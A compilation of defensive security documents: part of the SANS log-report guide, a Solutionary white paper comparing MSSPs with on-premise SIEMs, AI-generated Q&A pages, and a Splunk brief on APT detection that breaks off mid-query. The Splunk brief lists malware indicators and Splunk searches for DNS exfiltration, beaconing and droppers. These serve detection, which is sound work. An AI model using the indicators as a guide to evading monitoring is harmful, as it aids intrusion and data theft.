“.5” . If both systems have identical patches missing, the exposed e-com- mer ce server would score four times higher than the test server, thus indicating it is in greater need of being patched. Who Can Use This Report This report is useful to anyone responsible for managing system and network resources. It would also be useful to auditors as well as other who are responsible for identifying level of compliance. Trends of this data would also be useful t o upp er managemen t.For e xample , the weighted values could be tracked over time in order to identify improvements or degradation in the current process of maintaining patch levels. False Positives False positives in the report would be more of a function of the software used to collect the data rather than being cause by the reports themselves. For example, if a vulnerability assessment tool checks the version of the software saved to the hard drive, rather than the version of the software actually running in memory; it's possible that a higher level of compliance could be reported than what actually exists for that system. 6SANS T OP 5 E SSENTIAL LOG REPORTS www.sans.org #5 - Suspicious or Unauthorized Network Traffic Patterns Suspect traffic patterns can be described as unusual or unexpected traffic patterns on the local network. This not only includes traffic entering the local network, but leaving the network as well. This report option requires a certain level of familiarity of what is “normal” for the local network. With this in mind, administrators need to be knowledge-able of local traffic patterns in order to make the best use of these reports. With that said, there are some typical traf- fic patterns that can be considered to be highly suspect in nearly all environments. Inbound ICMP Host Unreachable Errors (Type 3s) Inbound ICMP unreachable errors are an indication that an internal host may have attempted to access a host on the Internet that is either off-line, does not exist, or is administratively prohibited. While it's not uncommon to see theseerrors occasionally generated, a large quantity of type 3 errors can be an indication that an internal host has beencompromised and is currently scanning the Internet in an attempting to attack other systems. Type 3s have also been known to be used as a covert communication channel in order to send commands to a zombie system. Outbound ICMP time Exceeded in Transit Errors (Type 11s) ICMP time exceeded in transit errors are an indication that the TTL value in a packet has been decremented to one as it has traversed routers on the network. While it is possible routing errors can cause these packets, they are usually an indication that someone is probing the network with a tracing tool such as traceroute, Firewalk, TCPTraceroute, or sim-ilar. The latter two tools are the hardest to protect against as they typically target exposed and accessible services. Unexpected Outbound DMZ Traffic This traffic pattern requires a bit of an explanation before its ramifications can be fully identified. Consider the typical “third NIC off the firewall” where most environments locate their Internet accessible services. Typically this networkwill contain systems with known communication patterns like a Web server (inbound TCP/80 and possibly TCP/443), a name ser ver (inb ound and outb ound port 53), as well as an SMTP server (inbound and outbound TCP/25). Since these tr affic patterns are a known quantity, anything that falls outside of these traffic patterns should be highly sus- pect. For example, a Web server generating outbound TFTP sessions or a mail server generating outbound FTP ses-sions should be considered to be a critical situation and investigated. Both could be an indication of a compromised system where the attacker is attempting to pull down a tool kit. Outbound TCP/25 from a non-SMTP server It's not uncommon for attackers to turn a compromised system into Spam relays. With this in mind, monitoring out- bound TCP/25 activity from all systems but your legitimate SMTP servers is an excellent way of catching these systems. Outbound Internet Relay Chat (6660-6669, 7000, others) Many attack ers leverage the anonymity and functionality of IRC to control their zombies. This means that connection attempts to the above listed ports should be considered to be highly suspect. While IRC can be run on any port, mon- itoring ports 6660-6669 and 7000 will at least catch the zombies with a standard configuration. 7SANS T OP 5 E SSENTIAL LOG REPORTS www.sans.org Bandwidth Utilization From a security standpoint, bandwidth utilization reports tend to be overlooked. They can, however, provide insight into suspect network activity. For example a desktop system which suddenly begins transmitting a high level of traffic to theInternet could be the result of a system compromise. A sudden spike in Web server access attempts could be the result of a DoS attack or a compromised system offering up Warez. Some potentially useful reports to consider: • The top “N” transmitting/receiving system • The top “N” busiest communication sessions• The top “N” communication protocols Why It's Important Attackers have become far more skilled in compromising a system in such a way that the attack can not be detected on the system itself. With this in mind, your best bet for identifying hosts that have been compromised to this level is moni- toring their network traffic for suspicious patterns. Report Description Report formats will vary based on the information being presented but as a general rule summary information is pre- ferred.The sour ce and destina tion IP addresses, internal host names, protocol, etc. should all be listed. For example: Dropped Traffic From DMZ: smtp1 outbound to 1.2.3.4 on TCP/80 performed 7 times Suspicious Outbound Traffic: accounting1 outbound to 1.2.3.4 on TCP/25 performed 1 time accoun ting1 outb ound to 1.2.3.5 on TCP/25 performed 1 time accounting1 outbound to 1.2.3.6 on TCP/25 performed 1 time Who Can Use This Report While these reports would clearly be useful to firewall and IDS administrators, they can also be beneficial to system and network administrators as well. Administrators responsible for systems generating suspect traffic could use the reports to identify when a complete system audit is required. False Positives Because these reports require the administrator to be knowledgeable about normal traffic patterns on their network, the level of false positives will be a direct result of the tuning of the summary reports. Proper summary information can help r educ e the amoun t of w ork required to distinguish between abnormal traffic patterns and patterns that are the result of an evolving network. Contact: info@sans.org 8SANS T OP 5 E SSENTIAL LOG REPORTS www.sans.org --- ## Source: https://montance.com/questions.php?id=80 [![pdf](content/images/icons/pdf.svg) SANS - top5 logreports.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgbVZ0VTdGMDVnS1k/view?usp=sharing) Sans Top5 Logreports List of the top 5 essential log reports for security monitoring. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is Report #1? A: Attempts to gain access through existing accounts (Failed Logins). * Q: What is Report #2? A: Failed file access attempts (Access Denied). * Q: What is Report #3? A: Unsuccessful attempts to gain access through non-existent accounts. * Q: What is Report #4? A: Systems most vulnerable to attack (Scan logs). * Q: What is Report #5? A: Suspicious or unauthorized network traffic patterns. * Q: What is the goal of these reports? A: To identify suspect activity with low false positives. * Q: What is 'Brute Force'? A: Repeated login attempts. * Q: What is 'Privilege Escalation'? A: Gaining higher access rights. * Q: What is 'Data Exfiltration'? A: Unauthorized data transfer. * Q: Who contributed to this list? A: SANS community consensus. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgUDNqUm9heURXLXM/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgUDNqUm9heURXLXM/view?usp=sharing]** The Case for Managed Security Services for Log Monitoring and ManagementWhite Paper (866) 333-2133 www.solutionary.com 2 White Paper: The Case for Managed Security Services for Log Monitoring and Management Blue Pantone 287 Hex: 00529b C: 100 M: 68Y: 0 K: 12 The Case for Managed Security Services for Log Monitoring and Management Contents Introduction .................................................................................................................. 3 Benefits of On-Premise SIEM Solutions—Security and Privacy .................................. 3 Benefits of an MSSP—Efficiency, Scalability and Intelligence .................................... 4 Security experts dedicated to your enterprise .................................................... 5 Efficiency and workflow automation ................................................................... 5 Cost savings and scalability ................................................................................ 6 Perspective and intelligence ............................................................................... 6 SIEM or MSSP?—Comparing Capabilities and Cost ................................................... 7 Cost analysis for MSSP and SIEM solutions.......................................................8 Barriers to Success—Operational Risk Factors for SIEMs and MSSPs .................... 10 Assigning resources for an on-premise SIEM ................................................... 10 Continuous security staffing challenges ........................................................... 11 Risky staff allocation ......................................................................................... 11 The Cost of Failure ................................................................................................ 12 Conclusion and Recommendations ........................................................................... 13 About Solutionary ....................................................................................................... 13 Appendix .................................................................................................................... 14 Flexible service delivery .................................................................................... 14 ActiveGuard® service platform .......................................................................... 14 Purpose-built for big data ................................................................................. 14 3 White Paper: The Case for Managed Security Services for Log Monitoring and Management Blue Pantone 287 Hex: 00529b C: 100 M: 68Y: 0 K: 12Introduction When it comes to security log monitoring and management, enterprises can opt to purchase, install and manage an on-premise Security Information and Event Management (SIEM) product, or they can partner with a Managed Security Service Provider (MSSP). Log monitoring is an important part of an enterprise security program, enabling enterprises to detect and protect against threats. The need for a log monitoring solution may also be rooted in a compliance requirement, such as the Payment Card Industry Data Security Standard (PCI DSS), it may be driven by an internal audit process or it may be required by the organization’s customers. Merger and acquisition activity may also play a role. This whitepaper compares the benefits of on-premise SIEM products with the advantages of an MSSP engagement. It also discusses the financial, operational and organizational considerations that may accompany a purchasing decision. For example, when legal requirements prevent an enterprise from exporting log data for analysis, a SIEM solution (managed and maintained in-house) may be needed. However, for many other organizations unfettered by legal and regulatory requirements, an MSSP can deliver greater cost efficiency and more effective security monitoring. By comparing and contrasting the strengths and weaknesses of both options for log monitoring and management, enterprises can make an informed and intelligent choice about which solution is right for their business. Benefits of On-Premise SIEM Solutions—Security and Privacy There are numerous vendors that provide products that range from standard log collection without analytics or intelligence to full-blown SIEM solutions that integrate with disparate systems and provide comprehensive threat detection. SIEM solutions are often scoped, priced and sold with a great deal of customization, based on the buyer’s specific needs. 3Log monitoring is an important part of an enterprise security program, enabling enterprises to detect and protect against threats. 4 White Paper: The Case for Managed Security Services for Log Monitoring and Management Blue Pantone 287 Hex: 00529b C: 100 M: 68Y: 0 K: 12The primary benefits of on-premise SIEM solutions include: • A highly secure log collection, correlation and analysis environment to accommodate non-Internet-facing systems. • No external transfer of security log data for organizations subject to stringent privacy requirements. • The ability to customize SIEM solutions to accommodate the unique needs of each enterprise customer. Certain environments are not well-suited to an MSSP solution. If an organization has systems with no Internet connectivity, an on-premise SIEM deployment may be needed to provide security monitoring. Also, if an organization has systems that produce sensitive log data that cannot leave the network infrastructure (such as government systems that require specialized clearance or access) these may require the use of an on-premise, product-based solution. Benefits of an MSSP—Efficiency, Scalability and Intelligence As with on-premise SIEM products, MSSP solutions for log monitoring and management can satisfy compliance mandates and increase security. These can range from self-service solutions that require clients to view their own incident alerts in a portal to full-service solutions that will proactively alert clients when security incidents occur. Some MSSPs also provide forensically sound log storage to satisfy regulatory requirements without demanding the enterprise to acquire and maintain more on-site hardware. The top benefits of partnering with an MSSP for log monitoring and management include: • Access to security expertise, research and threat intelligence. • Highly efficient processes and workflow automation to significantly improve time to remediation for security issues. • Cost savings and scalability achieved by outsourcing time-consuming manual correlation and analysis. • Cross-device and cross-vendor correlation to improve security awareness and reduce risk. 4Certain environments are not well-suited to an MSSP solution. If an organization has systems with no Internet connectivity, an on-premise SIEM deployment may be needed to provide security monitoring. 5 White Paper: The Case for Managed Security Services for Log Monitoring and Management Blue Pantone 287 Hex: 00529b C: 100 M: 68Y: 0 K: 12MSSPs range from niche vendors with a narrow focus on only certain types of devices or logs, to enterprise-class providers offering a full suite of security management capabilities for the entire IT infrastructure. Regardless of the provider’s size or the scale of specific deployments, MSSP solutions can be divided into two types of service: • Monitoring only – In this deployment, an MSSP takes in security logs and other device logs, only alerting and advising the client about security events based on some level of service (e.g., 15 minute notice for high priority alerts, daily log reviews to minimally meet compliance, etc.). • Monitoring and Management – In this deployment, an MSSP monitors security logs, and additionally makes changes to the client’s environment based on event analysis and security intelligence. MSSPs bear the cost of keeping personnel trained on the latest equipment from multiple vendors, and they have cross-platform experience, which is key for managing multi-vendor client environments. Security experts dedicated to your enterprise One of the biggest advantages of working with an MSSP is access to a dedicated team of security experts. Organizations may lack the in-house security expertise needed to monitor and/or manage devices from a wide variety of sources or vendors. Some large enterprises have dedicated security teams and security researchers. However, that is certainly not typical. For many organizations, the highly-qualified MSSP team becomes, in effect, an extension of in-house resources. Organizations are able to take advantage of the security expertise that the MSSP has acquired by working with numerous clients across a variety of industries. Typically, MSSPs will also have a security research team that is consistently focused on threat intelligence. Efficiency and workflow automation In many cases it’s not lack of knowledge, but business constraints that prevent in-house security staff from complete and efficient access to all device logs. For example, business controls may dictate that firewalls are only accessed by a networking group, or that VPN and single sign-on logs only be viewed by the identity management or user compliance team. Once an MSSP is set up to receive logs from all enterprise devices, or whatever portion is preferred, it can assist with tasks such as maintaining clear and consistent rule sets for firewalls and other network security devices. As an external vendor, an MSSP can also provide independent and overarching change control procedures as to how, when, and why the rules on these in-scope devices get updated.For many organizations, the highly-qualified MSSP team becomes, in effect, an extension of in-house resources. 6 White Paper: The Case for Managed Security Services for Log Monitoring and Management Blue Pantone 287 Hex: 00529b C: 100 M: 68Y: 0 K: 12With a view of the threat landscape across their client base, MSSPs are also able to incorporate intelligence gleaned across the client base to improve threat detection and response.Since MSSPs work with multiple clients and have documented, repeatable processes, they are able to provide workflow automation and to significantly improve time to remediation for security issues. MSSPs validate security events in the Security Operations Center (SOC) before notifying the client. This helps to dramatically reduce the number of false positive alerts clients must respond to, reducing costs and increasing efficiency. Cost savings and scalability MSSP solutions offer a cost-effective option for 24/7 log monitoring and management. Many organizations do not have a dedicated Security Operations Center (SOC) or the ability to staff three shifts of analysts year-round. While a SIEM solution requires constant monitoring by in-house staff, MSSP solutions provide 24/7 monitoring without the need for additional headcount. With a SIEM product, there is a constant need for manual review and confirmation of security events, correlation with other incidents or tickets and remediation of any issues identified. MSSPs can fill this need for organizations, identifying the real security incidents and notifying clients in a timely manner. MSSP solutions also have the advantage of scale. There are many organizations that are already using the MSSP service, so the infrastructure and processes needed to support new organizations has already been built. The MSSP works with clients to customize rules and notifications, reducing the burden on in-house resources. Perspective and intelligence The lessons learned from managing hundreds or even thousands of client environments gives MSSPs a much broader view than a single in-house security organization. MSSPs leverage that knowledge and experience across their entire client base. With a view of the threat landscape across their client base, MSSPs are also able to incorporate intelligence gleaned across the client base to improve threat detection and response. Many organizations that purchase SIEM solutions are unpleasantly surprised by the amount of data the SIEM produces. Their in-house resources are often overwhelmed by the number of security events, making it impossible to identify actual security incidents among the many false positives. Given their economies of scale, purpose-built technology and expertise, MSSPs are able to filter the events and validate the actual security incidents for improved security intelligence. 7 White Paper: The Case for Managed Security Services for Log Monitoring and Management Blue Pantone 287 Hex: 00529b C: 100 M: 68Y: 0 K: 12SIEM or MSSP?—Comparing Capabilities and Cost On-premise SIEM solutions and managed security services can both solve log monitoring and management challenges. However, they work from very different approaches, with different advantages and disadvantages. The following table outlines the similarities and differences between SIEM and MSSP solutions. Feature SIEM MSSP Monitors log events • • Helps attain regulatory compliance • • Flexible service delivery • Provides 24/7 analysis by security analysts • Stores logs off-site in forensically-sound facility* • Provides security intelligence and expertise as part of the solution• Built-in disaster recovery and business continuity planning (DR/BCP)• Predictable fixed cost • May require additional infrastructure (server, network devices, storage, etc.)• Must be routinely updated, patched, and upgraded • * Some MSSPs stor e raw log data on customers’ premises, which may involve additional cost, and where it may not be protected against alteration or theft. 8 White Paper: The Case for Managed Security Services for Log Monitoring and Management Blue Pantone 287 Hex: 00529b C: 100 M: 68Y: 0 K: 12Note: In this analysis, the customer planned to staff the SIEM with one SIEM Engineer and one Security Analyst. As a result, there would be very little ability to provide off-hours support. In contrast, the MSSP service would provide full 24x7 monitoring support.Cost analysis for MSSP and SIEM solutions Cost is an important factor when deciding whether to purchase a product-based SIEM for internal deployment or engage an MSSP . SIEM products are usually purchased and financed as a capital expense (CAPEX), while a service is typically purchased and financed as an operating expense (OPEX). With an MSSP , the annual cost of maintenance for three years (the typical MSSP contract term) is defined and known, whereas the maintenance and other costs related to product purchases can adjust annually. The initial training and personnel costs will be higher for any product purchase since the product needs to be installed and configured (usually by a reseller or consultant), and because internal staff will require training and planning for the tool’s utilization in the security environment. On-premise SIEM solutions also incur operational costs such as rack space, power, network connectivity, database configuration and connectivity. The following example details an actual cost comparison recently performed by a Solutionary enterprise client. The client evaluated the cost differences between the purchase and ongoing maintenance of a SIEM tool versus an MSSP approach. Cost Breakdown SIEM MSSP Savings % SIEM Platform (including data storage) $892,500 Included SIEM Implementation Labor Costs $20,000 Included Computers and Software for Additional Employees $8,000 Included Initial SIEM Training $12,000 Included MSSP Fees/Charges $20,000 Total - Initial $932,500 $20,000 $912,500 98% SIEM Engineer $125,000 Included Security Analyst $80,000 $8,000 Personnel Management Cost $75,000 Included Security Engineering Costs $8,000 Included Maintenance and Support Contracts $44,625 Included Depreciation and Amortization $300,167 $6,667 MSSP Fees/Charges $550,000 Total – Recurring $632,792 $564,667 $68,125 11%Initial One-Time Costs Annual/Ongoing Expenses 9 White Paper: The Case for Managed Security Services for Log Monitoring and Management Blue Pantone 287 Hex: 00529b C: 100 M: 68Y: 0 K: 12As shown in the table below, the client realized an immediate capital expense reduction of $912,500 by selecting an MSSP . When the recurring costs required to support an SIEM solution (extra headcount, training, consulting, equipment for added employees) and the first-year costs for the MSSP service are factored in, the client realizes a year one cost reduction of $687,125 (a 54 percent savings). While the cost analysis for initial deployment definitely favors an MSSP solution, the question remains, “does the cost benefit hold up over time?” The table below shows a ten year comparison between SIEM and MSSP costs. The nearly linear cost curve of the MSSP service contrasts with the three-year upgrade cycle of the SIEM product. Annual costs for the SIEM solution are lower in years two and three and in years five and six. However, when factoring the initial purchase and installation cost of an SIEM, and the periodic upgrade and re-initialization costs, the SIEM approach represents a higher accumulated cost throughout the 10-year projected analysis.When the recurring costs required to support an SIEM solution (extra headcount, training, consulting, equipment for added employees) and the first-year costs for the MSSP service are factored in, the client realizes a year one cost reduction of $687,125 (a 54 percent savings). $1,400,000 $1,200,000$1,000,000 $800,000$600,000$400,000$200,000 $0 1 2 3 4 5 6 7 8 9 10 SIEM MSSP 10 White Paper: The Case for Managed Security Services for Log Monitoring and Management Blue Pantone 287 Hex: 00529b C: 100 M: 68Y: 0 K: 12Barriers to Success—Operational Risk Factors for SIEMs and MSSPs In-house SIEM projects and MSSP implementations also differ regarding the prospects for immediate and long-term success. For an MSSP engagement to succeed, the client must verify that the features and capabilities of the MSSP meet the project requirements. The client should monitor the implementation and ongoing service delivery to verify and ensure the provider’s effectiveness. Assigning resources for an on-premise SIEM The barriers to success for an on-premise SIEM project are much more extensive. First, adequate staff resources must be assigned to the project. These resources also need the right expertise to deploy, configure and manage the SIEM. Unfortunately, many times the needed employees are not actually hired or they are assigned additional duties that detract from their focus on the SIEM solution. It can also be difficult and cost-prohibitive to find new employees or contractors with the skills and experience required. Training can fill some gaps, but is unlikely to provide the depth of knowledge needed to meet project goals. Several implementation tasks require in-depth knowledge of the SIEM tool and related systems, and may add unexpected time and cost to the SIEM project. These include: • Configuring logging on standard and non-standard systems. • Tuning complex devices, such as network IDS/IPS, web application firewalls and file integrity monitoring systems. • Writing custom rules and tuning existing correlation rules in the SIEM. • Configuring thresholds and advanced features in the SIEM. • Customizing report data and formatting. • Defining environment assets, subnets and zones.For an MSSP engagement to succeed, the client must verify that the features and capabilities of the MSSP meet the project requirements. 11 White Paper: The Case for Managed Security Services for Log Monitoring and Management Blue Pantone 287 Hex: 00529b C: 100 M: 68Y: 0 K: 12Once the SIEM solution is up and running, its continued effectiveness relies on performing an additional set of tasks. Monitored devices and the SIEM tool must be frequently updated in order to: • Reflect changes in the computing environment. • Support version upgrades. • Respond to changes in the threat landscape. Continuous security staffing challenges Ongoing internal monitoring efforts are subject to several challenges as well. One particular challenge is the limited view afforded to the security staff. Seeing only the events that hit their organization makes it difficult to develop and maintain staff skills. Since serious security events are infrequent, it’s also difficult for the staff to stay focused on the monitoring effort. Review and response to alerts is an ongoing responsibility. Even with rotation, the need for night, weekend and holiday coverage places a significant burden on security staff. Another staffing challenge for in-house solutions is employee development. To stay motivated and focused, security staff needs training and a career path. The small size of internal security departments limits the opportunity for advancement. These factors of limited view, off-hours support and lack of advancement opportunities combine to drive a high turnover rate for security staff. In addition to the time and cost involved in backfilling positions, the employees who leave take their knowledge of the environment with them. Organizations that cannot find a replacement before the previous employee leaves lose valuable knowledge transfer and suffer gaps in security monitoring. Risky staff allocation Enterprises commonly place a single staff member in charge of the SIEM solution who is solely responsible for the configuration and operation of the tool. As a result, many of these organizations experience a systematic failure. The project of installing and configuring a SIEM tool is much more interesting and rewarding than the day-to-day operation of that system. After completing the installation, the employee has a significantly enhanced skillset and resume. At this point, the employee commonly makes a career change, taking their knowledge of the SIEM tool with them and leaving the enterprise without the resources needed for ongoing success with the SIEM.Even with rotation, the need for night, weekend and holiday coverage places a significant burden on security staff. 12 White Paper: The Case for Managed Security Services for Log Monitoring and Management Blue Pantone 287 Hex: 00529b C: 100 M: 68Y: 0 K: 12In a different scenario, enterprises may staff their SIEM projects with employees who have other responsibilities. If another project needs additional resources, the enterprise may “borrow” the security analysts to help. While assigned to these other tasks, the security employees create an immediate, measureable business benefit. Assuming that a critical security event doesn’t happen at the same time, there’s no downside to this approach. Unfortunately, this means that staff originally assigned to security monitoring often wind up permanently engaged in other work. Should a critical security event occur, it may go undetected. If the SIEM goes without administrative oversight for a significant period of time, whatever the reason, data overflows at the collection agents, consoles and databases can cause system failures and data corruption. This situation can even necessitate a complete re-installation of the SIEM. The Cost of Failure If an MSSP does not perform successfully, the client can terminate the contract. In this case, the organization has lost the time and effort of the project, some minor hardware and setup fees, and the service fees for the time the contract was in effect. At that point, another MSSP or a SIEM product could be implemented as an alternative. If an SIEM project fails, it’s much more serious. The initial costs of an SIEM project include licensing the product, purchasing needed servers and storage infrastructure, hiring employees or contractors, training and provisioning equipment and software needed for the added staff. Typically, organizations plan to amortize these costs over a three-year period. However, project failure leaves no way to recoup these sunk costs. The organization is faced with the choice of investing significant additional funds into fixing or replacing the solution, or trying to somehow limp along with the failed system until the end of the amortization period. If the SIEM goes without administrative oversight for a significant period of time, whatever the reason, data overflows at the collection agents, consoles and databases can cause system failures and data corruption. 13 White Paper: The Case for Managed Security Services for Log Monitoring and Management Blue Pantone 287 Hex: 00529b C: 100 M: 68Y: 0 K: 12Conclusion and Recommendations Organizations can meet their log monitoring requirements by using SIEM products or MSSP services. SIEM products are needed for organizations that have legal or other requirements that do not allow them to export log data for analysis, and for sites that do not have Internet connectivity. For organizations that have the option, however, MSSPs can provide lower cost, more effective monitoring solutions. An MSSP can provide visibility into organizations’ environments and the ability to comply with regulations without the hassles and costs of managing and maintaining an on-premise, product-based solution. In addition, the MSSP approach reduces both the likelihood and the cost of failure to meet project goals. About Solutionary Solutionary is the leading pure-play managed security service provider (MSSP), focused on delivering managed security services and global threat intelligence. Comprehensive Solutionary security monitoring and security device management services protect traditional and virtual IT infrastructures, cloud environments and mobile data. Solutionary clients are able to optimize current security programs, make informed security decisions, achieve regulatory compliance and reduce costs. The patented, cloud-based ActiveGuard® service platform uses multiple detection technologies and advanced analytics to protect against advanced threats. The Solutionary Security Engineering Research Team (SERT) researches the global threat landscape, providing actionable threat intelligence, enhanced threat detection and mitigating controls. Experienced, certified Solutionary security experts act as an extension of clients’ internal teams, providing industry-leading client service to global enterprise and mid-market clients in a wide range of industries, including financial services, healthcare, retail and government. Services are delivered 24/7 through multiple state-of-the-art Security Operations Centers (SOCs). Learn More T o learn more about Managed Security Services and find ways to implement it in your security plan, contact Solutionary today. 14 White Paper: The Case for Managed Security Services for Log Monitoring and Management Solutionary.com Solutionary, Inc. 9420 Underwood Ave., 3rd FloorOmaha, NE 68114Contact Solutionary at: info@solutionary.com or 866-333-2133 ActiveGuard® US Patent Numbers: 7,168,093; 7,424,743; 6,988,208; 7,370,359; 7,673,049; 7,954,159; 8,261,347. Solutionary, the Solutionary logo, ActiveGuard, the ActiveGuard logo, are registered trademarks or service marks of Solutionary, Inc. or its subsidiaries in the United States. Other marks and brands may be claimed as the property of others. The product plans, specifications, and descriptions herein are provided for information only and subject to change without notice, and are provided without warranty of any kind, express or implied. Copyright ©2013 Solutionary, Inc.Blue Pantone 287 Hex: 00529b C: 100 M: 68Y: 0 K: 12 2005WP 03/13Appendix Flexible service delivery Solutionary puts the service in managed security services, operating as an extension of the client’s internal security team. At Solutionary, clients come first and each employee, from the management team to the analysts in the SOC, is dedicated to client satisfaction. Understanding and addressing these individual client needs is key to the Solutionary client-first culture. By gaining a detailed understanding of individual client needs, Solutionary combines deep security expertise and proven operational processes with the patented ActiveGuard service platform to enhance security and address regulatory compliance. All Solutionary managed security services clients receive Log Management services that provide one year of log retention for all logs collected and analyzed. ActiveGuard® service platform The cloud-based, patented ActiveGuard service platform provides powerful cross-correlation and event-handling capabilities to recognize threats and reduce false positives, making security more operationally efficient. ActiveGuard is able to accurately collect and correlate vast amounts of data from virtually any device capable of producing a log file, including applications, databases, endpoints, firewalls, and network devices. ActiveGuard uses multiple detection methods, including signatures, anomaly detection, statistical analysis, heuristics and global threat intelligence from the Solutionary Security Engineering Research Team (SERT) to detect advanced threats. Security experts in the Solutionary Security Operations Center (SOC) provide additional analysis, validation and response for security threats. Purpose-built for big data ActiveGuard was purpose-built to handle large amounts of disparate data. As the number of devices that require monitoring has increased, so has the ability of ActiveGuard to scale. The volume of log data produced by enterprises requires more scale and better analytics in order to provide intelligence about the information being gathered. The ability to handle big data of this type is a key component of ActiveGuard. --- ## Source: https://montance.com/questions.php?id=79 [![pdf](content/images/icons/pdf.svg) Solutionary - Business Case for MSS 1100WP.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgUDNqUm9heURXLXM/view?usp=sharing) Solutionary Business Case For MSS 1100wp Whitepaper building the business case for managed security services. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the main benefit of an MSSP? A: Efficiency, Scalability, and Intelligence. * Q: What is 'Co-Management'? A: Sharing responsibility between client and MSSP. * Q: What is the 'Cost of Failure'? A: The financial impact of a breach. * Q: What is '24x7 Monitoring'? A: Continuous surveillance of the environment. * Q: What is the value of 'Global Threat Intelligence'? A: Seeing attacks across many customers. * Q: What is 'Log Retention'? A: Storing logs for compliance. * Q: What is 'Portal Access'? A: Visibility into the MSSP's work. * Q: What is 'SLA'? A: Service Level Agreement. * Q: What is 'Device Management'? A: Managing firewalls, IDS, etc. * Q: What is the 'ROI' of MSSP? A: Cost savings vs internal staffing. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgejlMbmxwMmhMT2c/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgejlMbmxwMmhMT2c/view?usp=sharing]** Using Splunk for APT Detecting Advanced Persistent ThreatsTECH BRIEFSeeing Malware Host Based Evidence of Possible Malware – According to Mandiant – Monitor for the following changes to hosts (assumes a Splunk Universal Forwarder is resident on the host): Potential email theft • Monitor hosts for the existence of executable named with a single letter (g.exe or m.exe) • Watch for the creation or changes to C:\Windows\Help\ help\\ • Watch for the creation or rapid growth in size of files and directories in the C:\Windows\Help\Help\user subdirectory • Watch for changes to the Windows registry file Watching for the spread of malware • Watch for changes to enablement or changes to Wireless Zero Configuration Service (wzcsvc) • Watch for changes to enablement or changes to RIP Listener Service (IPRIP) • Watch for changes to enablement or changes to Background Intelligent Transfer Service (BITS) • Watch for changes to the task list for at.exe. (SchedLau. txt) Other indicators of system compromise • Watch for changes to Services.exe • Monitor that Windows File Protection is enabled • Monitor for changes to the group policy object at C:\ Windows\System 32\GroupPolicy\User\Scripts\scripts.ini • Network based evidence of Malware – Mandiant’s report is less specific here so we’ve come up with a few of our own: DNS (If using Active Directory’s DNS functionality, turn on debug mode to get the URLs into the log data.) • Baseline DNS requests and watch for too many from a particular client. The malware may be network mapping from the inside out • Monitor for hosts that are making the same DNS request at a consistent interval (watching for ‘beaconing hosts’) • Monitor for the same sized DNS requests from internal hosts Web Proxy • Monitor for mismatches between the extension of a requested file and the mime type of the file returned • Monitor and investigate visits to sites that are listed to be of a ‘None’ or ‘unknown’ category by a reputation service or category filter What is an Advanced Persistent Threat? An advanced persistent threat (APT) is a targeted effort to obtain or change information by means that are difficult to discover, difficult to remove and difficult to attribute. So, what’s the data that attackers are after, how are they looking to obtain or change it and why are their attacks so difficult to discover, remove and attribute? How Attacks are Perpetrated In Search of Victim Zero – Using data from social networks such as LinkedIn or Facebook, attackers can craft an email to a targeted user containing some attachment (PDF or ZIP) that entices the user to open it. This attachment could be named “Organizational Changes” . The employee clicks on the attachment, the malware is inserted onto the users system and sends a signal outbound to a specific domain. This process is continuously repeated with slight differences tailored to the individual receiving the email. High Value Targets Email – Emails (and attachments) are a rich source of data that may be of high value. Emails can contain discussion threads that can point to other high value targets in the IT infrastructure. The emails can be a source of intelligence that can lead to spear- phishing emails that contain malicious attachments or links to attacks. Windows users keep a significant amount of email on their machines in a local .PST file—in many instances this file can be as large as a gigabyte. Attachments can contain financial data or other highly sensitive information. In addition to going after the emails on a users local machine, attacks can also target the email server itself. Public Key Infrastructure Data – According to Mandiant™ Inc.’s M-Trends Report 2011, while the majority of APT cases started with an email as an attack vector, “Attackers have increasingly focused on obtaining PKI-related data resident within a compromised network.” PKI data can be used to authenticate to a client VPN as well as decrypt SSL traffic from servers. Mandiant’s investigations discovered that “victim zero in a current investigation was actually victim 127 in an intrusion dating back several years.” The Spread of APT – The proliferation of APT is accomplished in a variety of ways but the most prevalent is via Windows services. Again according to Mandiant, RIP Listener Service (IPRIP), the Wireless Zero Configuration service (wzcsvc) and Background Intelligent Transfer Service (BITS) are all either used or replaced by a rogue service. Victim zero uploads the malware to a remote computer file share, which is executed using the at.exe command. TECH BRIEFwww.splunk.com 250 Brannan St, San Francisco, CA, 94107 info@splunk.com | sales@splunk.com 866-438-7758 | 415-848-8400 www .splunkbase.com listen to y our data Copyright © 2012 Splunk Inc. All rights reserved. Splunk Enterprise is protected by U.S. and international copyright and intellectual property laws. Splunk is a registered trademark or trademark of Splunk Inc. in the United States and/or other jurisdictions. All other marks and names mentioned herein may be trademarks of their respective companies. Item # TB-Splunk-Persistent Threats-101SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Here the attacker wants to restart his code each time Windows starts. • createKey | stats count(process_image) by process_ image key_path host Network Based Too many DNS lookups occurring from a particular client. • sourcetype=dns | stats count(clientip) AS Requests by clientip | sort - Requests Too many same-sized DNS requests from an internal host, indicating a possible exfiltration. • sourcetype=dns | eval Length=len(query) | stats count(clientip) by Length | sort - Length Watch for hosts that talk to the same URL at the same interval every day (“Beaconing” of servers to websites). Sites with a low var(gap) value are discovered. • … | streamstats current=f last(_time) as next_time by site | eval gap = next_time - _time | stats count avg(gap) var(gap) by site Site visits that are listed as a ‘none’ or ‘unknown’ by a reputation service or category filter. • source=proxy sc_filter_category=None OR sc_filter_ category=unknown| stats count(clientip) by s_hostname, clientip Fast requests following the download of a .PDF, java, or exe. If a download is proceeded by rapid requests for more files this is a potential indicator of a dropper. • source=proxy [search file=*.pdf OR file=*.exe | dedup clientip | table clientip] | transaction maxspan=60s maxpause=5s clientip | eval Length=len(_raw) | sort -Length The internal systems identified during an investigation that were communicating with a malicious IP address. • source=firewall 